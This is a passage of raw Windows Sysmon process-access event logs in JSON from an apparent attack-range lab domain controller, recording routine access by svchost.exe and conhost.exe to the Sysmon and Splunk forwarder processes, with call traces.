C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1598,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1599,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1600,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1601,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1602,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1603,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1604,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1605,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 